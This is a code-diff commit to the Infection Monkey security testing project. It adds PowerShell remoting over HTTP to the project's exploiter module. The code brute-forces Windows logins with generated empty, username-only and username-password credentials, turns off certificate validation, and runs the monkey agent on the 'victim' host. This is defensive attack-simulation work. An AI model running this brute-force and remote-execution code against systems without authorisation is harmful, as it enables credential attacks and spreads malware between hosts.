Merge pull request #1438 from guardicore/powershell_http
Adds the capability to exploit powershell remoting via HTTP
This commit is contained in:
commit
473fe36ba7
|
@ -30,6 +30,7 @@ WMI = {version = "==1.5.1", sys_platform = "== 'win32'"}
|
|||
ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
|
||||
pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
|
||||
pypsrp = "*"
|
||||
typing-extensions = "*"
|
||||
|
||||
[dev-packages]
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
{
|
||||
"_meta": {
|
||||
"hash": {
|
||||
"sha256": "60705d888d53c68aebc3a324b4f22e472f35ed152c2e506d475fe639feb7e359"
|
||||
"sha256": "96a125018d143a7446fe9b2849991c00d79f37c433694db77e616c1135baeaf9"
|
||||
},
|
||||
"pipfile-spec": 6,
|
||||
"requires": {
|
||||
|
@ -69,19 +69,19 @@
|
|||
},
|
||||
"boto3": {
|
||||
"hashes": [
|
||||
"sha256:7209b79833bdf13753aa24f76bf533890ffed2cc4fe1fe08619d223c209bbd11",
|
||||
"sha256:f46c93d09acd4d4bfc6b9522ed852fecbdc508e0365f29ddfb3c146aae784b4e"
|
||||
"sha256:461f659c06f9f56693cebbca70b11866f096021eafbd949a3c029c3a8adee6a4",
|
||||
"sha256:596d2afda27ae3d9a10112a475aa25c4d6b5cf023919e370ad8e6c6ae04d57a6"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==1.18.27"
|
||||
"version": "==1.18.33"
|
||||
},
|
||||
"botocore": {
|
||||
"hashes": [
|
||||
"sha256:8c99abd7093ab11ce8d09c68732aeeb6065a53d2fe371568452e99291817fff5",
|
||||
"sha256:b9e2c90bad164d111c229102f58f995c28576e719dd116b446965e1b786f8fa5"
|
||||
"sha256:204327b9a33e3ae5207ff9acdd7d3b6d1f99f5dc9165a4d843d6f1a566f3006c",
|
||||
"sha256:b321b570a0da4c6280e737d817c8f740bce0ef914f564e1c27246c7ae76b4c31"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==1.21.27"
|
||||
"version": "==1.21.33"
|
||||
},
|
||||
"certifi": {
|
||||
"hashes": [
|
||||
|
@ -441,11 +441,11 @@
|
|||
},
|
||||
"minidump": {
|
||||
"hashes": [
|
||||
"sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498",
|
||||
"sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff"
|
||||
"sha256:67b3327cb96e319633653a353c6281703772335dc84797d6fdce7daf0b3be077",
|
||||
"sha256:fdd9eb4566b6d3dabc205bf644ded724067bdbdb453eb418565261e5520b3537"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==0.0.18"
|
||||
"version": "==0.0.19"
|
||||
},
|
||||
"minikerberos": {
|
||||
"hashes": [
|
||||
|
@ -969,12 +969,12 @@
|
|||
},
|
||||
"typing-extensions": {
|
||||
"hashes": [
|
||||
"sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497",
|
||||
"sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342",
|
||||
"sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"
|
||||
"sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e",
|
||||
"sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7",
|
||||
"sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34"
|
||||
],
|
||||
"markers": "python_version < '3.8'",
|
||||
"version": "==3.10.0.0"
|
||||
"index": "pypi",
|
||||
"version": "==3.10.0.2"
|
||||
},
|
||||
"urllib3": {
|
||||
"hashes": [
|
||||
|
|
|
@ -4,7 +4,7 @@ from typing import Optional, Union
|
|||
|
||||
import pypsrp
|
||||
import spnego
|
||||
from pypsrp.client import Client
|
||||
from pypsrp.exceptions import AuthenticationError
|
||||
from pypsrp.powershell import PowerShell, RunspacePool
|
||||
from urllib3 import connectionpool
|
||||
|
||||
|
@ -13,6 +13,12 @@ from common.utils.exploit_enum import ExploitType
|
|||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.powershell_utils import utils
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials
|
||||
from infection_monkey.exploit.powershell_utils.utils import (
|
||||
IClient,
|
||||
get_client_based_on_auth_options,
|
||||
)
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
||||
from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
@ -22,6 +28,10 @@ LOG = logging.getLogger(__name__)
|
|||
TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
|
||||
|
||||
|
||||
class PowerShellRemotingDisabledError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class PowerShellExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ["windows"]
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
|
@ -41,49 +51,84 @@ class PowerShellExploiter(HostExploiter):
|
|||
logging.getLogger(package.__name__).setLevel(logging.ERROR)
|
||||
|
||||
def _exploit_host(self):
|
||||
self.client = self._authenticate_via_brute_force()
|
||||
try:
|
||||
is_https = self._is_client_using_https()
|
||||
except PowerShellRemotingDisabledError as e:
|
||||
logging.info(e)
|
||||
return False
|
||||
|
||||
credentials = get_credentials(
|
||||
self._config.exploit_user_list,
|
||||
self._config.exploit_password_list,
|
||||
is_windows_os(),
|
||||
is_https=is_https,
|
||||
)
|
||||
|
||||
self.client = self._authenticate_via_brute_force(credentials)
|
||||
if not self.client:
|
||||
return False
|
||||
|
||||
return self._execute_monkey_agent_on_victim()
|
||||
|
||||
def _authenticate_via_brute_force(self) -> Optional[Client]:
|
||||
credentials = utils.get_credentials(
|
||||
self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os()
|
||||
)
|
||||
def _is_client_using_https(self) -> bool:
|
||||
try:
|
||||
logging.debug("Checking if powershell remoting is enabled over HTTP.")
|
||||
self._try_http()
|
||||
return False
|
||||
except AuthenticationError:
|
||||
return False
|
||||
except Exception as e:
|
||||
logging.debug(f"Powershell remoting over HTTP seems disabled: {e}")
|
||||
|
||||
for username, password in credentials:
|
||||
try:
|
||||
logging.debug("Checking if powershell remoting is enabled over HTTPS.")
|
||||
self._try_https()
|
||||
return True
|
||||
except AuthenticationError:
|
||||
return True
|
||||
except Exception as e:
|
||||
logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}")
|
||||
raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.")
|
||||
|
||||
def _try_http(self):
|
||||
auth_options_http = AuthOptions(
|
||||
username=self._config.exploit_user_list[0],
|
||||
password=self._config.exploit_password_list[0],
|
||||
is_https=False,
|
||||
)
|
||||
self._authenticate(auth_options_http)
|
||||
|
||||
def _try_https(self):
|
||||
auth_options_http = AuthOptions(
|
||||
username=self._config.exploit_user_list[0],
|
||||
password=self._config.exploit_password_list[0],
|
||||
is_https=True,
|
||||
)
|
||||
self._authenticate(auth_options_http)
|
||||
|
||||
def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]:
|
||||
for credential in credentials:
|
||||
try:
|
||||
client = self._authenticate(username, password)
|
||||
client = self._authenticate(credential)
|
||||
|
||||
LOG.info(
|
||||
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{username}"
|
||||
f"{credential.username}"
|
||||
)
|
||||
self.report_login_attempt(True, username, password)
|
||||
self.report_login_attempt(True, credential.username, credential.password)
|
||||
|
||||
return client
|
||||
except Exception as ex: # noqa: F841
|
||||
LOG.debug(
|
||||
f"Error logging into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{username}, Error: {ex}"
|
||||
f"{credential.username}, Error: {ex}"
|
||||
)
|
||||
self.report_login_attempt(False, username, password)
|
||||
self.report_login_attempt(False, credential.username, credential.password)
|
||||
|
||||
return None
|
||||
|
||||
def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client:
|
||||
(ssl, auth, encryption) = utils.get_powershell_client_params(password)
|
||||
client = Client(
|
||||
self.host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
cert_validation=False,
|
||||
ssl=ssl,
|
||||
auth=auth,
|
||||
encryption=encryption,
|
||||
connection_timeout=3,
|
||||
)
|
||||
def _authenticate(self, auth_options: AuthOptions) -> IClient:
|
||||
client = get_client_based_on_auth_options(self.host.ip_addr, auth_options)
|
||||
|
||||
# attempt to execute dir command to know if authentication was successful
|
||||
client.execute_cmd("dir")
|
||||
|
|
|
@ -0,0 +1,9 @@
|
|||
from dataclasses import dataclass
|
||||
from typing import Union
|
||||
|
||||
|
||||
@dataclass
|
||||
class AuthOptions:
|
||||
username: Union[str, None]
|
||||
password: Union[str, None]
|
||||
is_https: bool
|
|
@ -0,0 +1,46 @@
|
|||
from itertools import product
|
||||
from typing import List
|
||||
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
|
||||
|
||||
def get_credentials(
|
||||
usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool
|
||||
) -> List[AuthOptions]:
|
||||
credentials = []
|
||||
credentials.extend(_get_empty_credentials(is_windows))
|
||||
credentials.extend(_get_username_only_credentials(usernames, is_windows))
|
||||
credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https))
|
||||
|
||||
return credentials
|
||||
|
||||
|
||||
def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]:
|
||||
if is_windows:
|
||||
return [AuthOptions(username=None, password=None, is_https=False)]
|
||||
|
||||
return []
|
||||
|
||||
|
||||
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]:
|
||||
credentials = [
|
||||
AuthOptions(username=username, password="", is_https=False) for username in usernames
|
||||
]
|
||||
|
||||
if is_windows:
|
||||
credentials.extend(
|
||||
[AuthOptions(username=username, password=None, is_https=True) for username in usernames]
|
||||
)
|
||||
|
||||
return credentials
|
||||
|
||||
|
||||
def _get_username_password_credentials(
|
||||
usernames: List[str], passwords: List[str], is_https: bool
|
||||
) -> List[AuthOptions]:
|
||||
username_password_pairs = product(usernames, passwords)
|
||||
|
||||
return [
|
||||
AuthOptions(credentials[0], credentials[1], is_https=is_https)
|
||||
for credentials in username_password_pairs
|
||||
]
|
|
@ -1,63 +1,10 @@
|
|||
from itertools import product
|
||||
from typing import List, Optional, Tuple
|
||||
from pypsrp.client import Client
|
||||
from typing_extensions import Protocol
|
||||
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
AUTH_BASIC = "basic"
|
||||
AUTH_NEGOTIATE = "negotiate"
|
||||
ENCRYPTION_AUTO = "auto"
|
||||
ENCRYPTION_NEVER = "never"
|
||||
|
||||
|
||||
def get_credentials(
|
||||
usernames: List[str], passwords: List[str], is_windows: bool
|
||||
) -> List[Tuple[Optional[str], Optional[str]]]:
|
||||
# When username or password is None, this instructs the powershell client to attempt to use
|
||||
# The current user's credentials. This is only valid if the client is running from a Windows
|
||||
# machine.
|
||||
|
||||
credentials = []
|
||||
credentials.extend(_get_empty_credentials(is_windows))
|
||||
credentials.extend(_get_username_only_credentials(usernames, is_windows))
|
||||
credentials.extend(_get_username_password_credentials(usernames, passwords))
|
||||
|
||||
return credentials
|
||||
|
||||
|
||||
def _get_empty_credentials(is_windows: bool) -> List[Tuple[None, None]]:
|
||||
if is_windows:
|
||||
return [(None, None)]
|
||||
|
||||
return []
|
||||
|
||||
|
||||
def _get_username_only_credentials(
|
||||
usernames: List[str], is_windows: bool
|
||||
) -> List[Tuple[str, Optional[str]]]:
|
||||
credentials = [(username, "") for username in usernames]
|
||||
|
||||
if is_windows:
|
||||
credentials.extend([(username, None) for username in usernames])
|
||||
|
||||
return credentials
|
||||
|
||||
|
||||
def _get_username_password_credentials(
|
||||
usernames: List[str], passwords: List[str]
|
||||
) -> List[Tuple[str, str]]:
|
||||
username_password_pairs = product(usernames, passwords)
|
||||
|
||||
return [credentials for credentials in username_password_pairs]
|
||||
|
||||
|
||||
def get_powershell_client_params(password: str) -> Tuple[bool, str, str]:
|
||||
ssl = password != ""
|
||||
auth = AUTH_NEGOTIATE if password != "" else AUTH_BASIC
|
||||
encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER
|
||||
|
||||
return (ssl, auth, encryption)
|
||||
|
||||
|
||||
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
|
||||
monkey_params = build_monkey_commandline(
|
||||
|
@ -72,3 +19,38 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path
|
|||
"monkey_type": DROPPER_ARG,
|
||||
"parameters": monkey_params,
|
||||
}
|
||||
|
||||
|
||||
AUTH_BASIC = "basic"
|
||||
AUTH_NEGOTIATE = "negotiate"
|
||||
ENCRYPTION_AUTO = "auto"
|
||||
ENCRYPTION_NEVER = "never"
|
||||
|
||||
CONNECTION_TIMEOUT = 3 # Seconds
|
||||
|
||||
|
||||
class IClient(Protocol):
|
||||
def execute_cmd(self, cmd: str):
|
||||
pass
|
||||
|
||||
|
||||
def get_client_based_on_auth_options(ip_addr: str, auth_options: AuthOptions) -> IClient:
|
||||
|
||||
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
|
||||
if auth_options.password == "":
|
||||
ssl = False
|
||||
else:
|
||||
ssl = auth_options.is_https
|
||||
auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC
|
||||
encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER
|
||||
|
||||
return Client(
|
||||
ip_addr,
|
||||
username=auth_options.username,
|
||||
password=auth_options.password,
|
||||
cert_validation=False,
|
||||
ssl=ssl,
|
||||
auth=auth,
|
||||
encryption=encryption,
|
||||
connection_timeout=CONNECTION_TIMEOUT,
|
||||
)
|
||||
|
|
|
@ -1,72 +1,50 @@
|
|||
from infection_monkey.exploit.powershell_utils import utils
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials
|
||||
from infection_monkey.model.host import VictimHost
|
||||
|
||||
TEST_USERS = ["user1", "user2"]
|
||||
TEST_USERNAMES = ["user1", "user2"]
|
||||
TEST_PASSWORDS = ["p1", "p2"]
|
||||
|
||||
|
||||
def test_get_credentials__empty_windows_true():
|
||||
credentials = utils.get_credentials([], [], True)
|
||||
credentials = get_credentials([], [], True, True)
|
||||
|
||||
assert len(credentials) == 1
|
||||
assert credentials[0] == (None, None)
|
||||
assert credentials[0] == AuthOptions(username=None, password=None, is_https=False)
|
||||
|
||||
|
||||
def test_get_credentials__empty_windows_false():
|
||||
credentials = utils.get_credentials([], [], False)
|
||||
credentials = get_credentials([], [], False, True)
|
||||
|
||||
assert len(credentials) == 0
|
||||
|
||||
|
||||
def test_get_credentials__username_only_windows_true():
|
||||
credentials = utils.get_credentials(TEST_USERS, [], True)
|
||||
credentials = get_credentials(TEST_USERNAMES, [], True, True)
|
||||
|
||||
assert len(credentials) == 5
|
||||
assert (TEST_USERS[0], "") in credentials
|
||||
assert (TEST_USERS[1], "") in credentials
|
||||
assert (TEST_USERS[0], None) in credentials
|
||||
assert (TEST_USERS[1], None) in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials
|
||||
|
||||
|
||||
def test_get_credentials__username_only_windows_false():
|
||||
credentials = utils.get_credentials(TEST_USERS, [], False)
|
||||
credentials = get_credentials(TEST_USERNAMES, [], False, True)
|
||||
|
||||
assert len(credentials) == 2
|
||||
assert (TEST_USERS[0], "") in credentials
|
||||
assert (TEST_USERS[1], "") in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials
|
||||
|
||||
|
||||
def test_get_credentials__username_password_windows_true():
|
||||
credentials = utils.get_credentials(TEST_USERS, TEST_PASSWORDS, True)
|
||||
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True)
|
||||
|
||||
assert len(credentials) == 9
|
||||
for user in TEST_USERS:
|
||||
for user in TEST_USERNAMES:
|
||||
for password in TEST_PASSWORDS:
|
||||
assert (user, password) in credentials
|
||||
|
||||
|
||||
def test_get_powershell_client_params__password_none():
|
||||
(ssl, auth, encryption) = utils.get_powershell_client_params(None)
|
||||
|
||||
assert ssl is True
|
||||
assert auth == utils.AUTH_NEGOTIATE
|
||||
assert encryption == utils.ENCRYPTION_AUTO
|
||||
|
||||
|
||||
def test_get_powershell_client_params__password_str():
|
||||
(ssl, auth, encryption) = utils.get_powershell_client_params("1234")
|
||||
|
||||
assert ssl is True
|
||||
assert auth == utils.AUTH_NEGOTIATE
|
||||
assert encryption == utils.ENCRYPTION_AUTO
|
||||
|
||||
|
||||
def test_get_powershell_client_params__password_empty():
|
||||
(ssl, auth, encryption) = utils.get_powershell_client_params("")
|
||||
|
||||
assert ssl is False
|
||||
assert auth == utils.AUTH_BASIC
|
||||
assert encryption == utils.ENCRYPTION_NEVER
|
||||
assert AuthOptions(username=user, password=password, is_https=True) in credentials
|
||||
|
||||
|
||||
def test_build_monkey_execution_command():
|
||||
|
|
Loading…
Reference in New Issue